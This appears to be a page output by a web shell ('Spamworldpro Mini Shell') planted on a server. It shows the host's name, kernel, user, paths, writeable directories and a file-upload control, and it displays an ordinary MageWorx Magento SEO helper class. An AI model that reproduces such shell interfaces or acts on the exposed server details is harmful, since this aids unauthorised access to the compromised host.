Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/mageworx/module-seoall/Helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/mageworx/module-seoall/Helper/SeoFeaturesStatusProvider.php
<?php
/**
 * Copyright © MageWorx. All rights reserved.
 * See LICENSE.txt for license details.
 */

declare(strict_types=1);

namespace MageWorx\SeoAll\Helper;

use Magento\Customer\Model\Group;
use Magento\Framework\App\Helper\Context;
use Magento\Customer\Model\Session;

class SeoFeaturesStatusProvider extends \Magento\Framework\App\Helper\AbstractHelper
{
    const XML_PATH_DISABLE_SEO_FEATURES = 'mageworx_seo/all/disable_seo_features';

    /**
     * @var \Magento\Customer\Model\Session
     */
    protected $session;

    /**
     * constructor
     *
     * @param Session $session
     * @param Context $context
     */
    public function __construct(
        Session $session,
        Context $context
    ) {
        $this->session = $session;
        parent::__construct($context);
    }

    /**
     * @return array
     */
    protected function getSeoFeaturesForCustomerPage(): array
    {
        $seoFeaturesForCustomerPage = (string)$this->scopeConfig->getValue(
            self::XML_PATH_DISABLE_SEO_FEATURES
        );

        return $seoFeaturesForCustomerPage ? explode(',', $seoFeaturesForCustomerPage) : [];
    }

    /**
     * @param string $moduleName
     * @return bool
     */
    protected function getIsDisabled(string $moduleName): bool
    {
        if (!$moduleName) {
            return false;
        }

        $disabledModules = $this->getSeoFeaturesForCustomerPage();

        return in_array($moduleName, $disabledModules);
    }

    /**
     * @param string $moduleName
     * @return bool
     */
    public function getStatus(string $moduleName): bool
    {
        return $this->getIsDisabled($moduleName)
            && (int)$this->session->getCustomerGroupId() !== Group::NOT_LOGGED_IN_ID;
    }
}

Spamworldpro Mini